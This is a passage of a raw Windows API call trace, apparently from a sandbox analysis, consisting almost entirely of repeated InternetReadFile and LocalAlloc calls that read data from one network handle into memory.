lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.718] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0510190 [0130.719] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.719] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05201a0 [0130.720] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.720] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05301b0 [0130.722] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.723] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05401c0 [0130.723] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.723] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05501d0 [0130.723] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.724] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05601e0 [0130.724] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.724] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05701f0 [0130.724] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.725] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0580200 [0130.725] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.725] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0590210 [0130.726] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.726] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05a0220 [0130.726] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.726] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05b0230 [0130.727] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.727] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05c0240 [0130.727] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.727] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05d0250 [0130.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.728] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05e0260 [0130.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.728] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf05f0270 [0130.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.734] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0600280 [0130.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.736] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0610290 [0130.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.737] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06202a0 [0130.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.737] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06302b0 [0130.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.738] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06402c0 [0130.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.738] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06502d0 [0130.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.739] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06602e0 [0130.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.739] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06702f0 [0130.740] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.740] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0680300 [0130.740] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.740] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0690310 [0130.741] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.741] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06a0320 [0130.741] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.741] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06b0330 [0130.742] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.742] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06c0340 [0130.742] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.742] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06d0350 [0130.743] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.743] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06e0360 [0130.749] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.750] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf06f0370 [0130.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.752] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0700380 [0130.752] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.752] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0710390 [0130.753] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.753] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07203a0 [0130.753] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.753] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07303b0 [0130.753] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.754] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07403c0 [0130.754] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.754] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07503d0 [0130.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.755] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07603e0 [0130.755] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.755] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07703f0 [0130.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.756] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0780400 [0130.756] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.756] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0790410 [0130.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.757] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07a0420 [0130.757] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.757] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07b0430 [0130.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.758] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07c0440 [0130.758] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.758] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07d0450 [0130.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.759] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07e0460 [0130.759] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.759] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf07f0470 [0130.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.760] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0800480 [0130.760] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.761] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0810490 [0130.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.761] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08204a0 [0130.761] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.762] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08304b0 [0130.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.762] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08404c0 [0130.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.762] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08504d0 [0130.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.763] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08604e0 [0130.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.763] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08704f0 [0130.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.764] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0880500 [0130.764] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.765] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0890510 [0130.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.765] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08a0520 [0130.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.766] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08b0530 [0130.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.766] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08c0540 [0130.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.768] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08d0550 [0130.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.769] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08e0560 [0130.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.769] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf08f0570 [0130.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.770] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0900580 [0130.770] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.771] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0910590 [0130.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.772] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09205a0 [0130.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.772] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09305b0 [0130.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.773] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09405c0 [0130.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.773] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09505d0 [0130.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.773] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09605e0 [0130.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.774] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09705f0 [0130.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.774] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0980600 [0130.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.775] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf0990610 [0130.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.775] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09a0620 [0130.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.776] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09b0630 [0130.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.776] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09c0640 [0130.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.777] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09d0650 [0130.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 [0130.777] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x26bf09e0660 [0130.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x73563ce3d0, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x73563ce3b4 | out: lpBuffer=0x73563ce3d0*, lpdwNumberOfBytesRead=0x73563ce3b4*=0x1000) returned 1 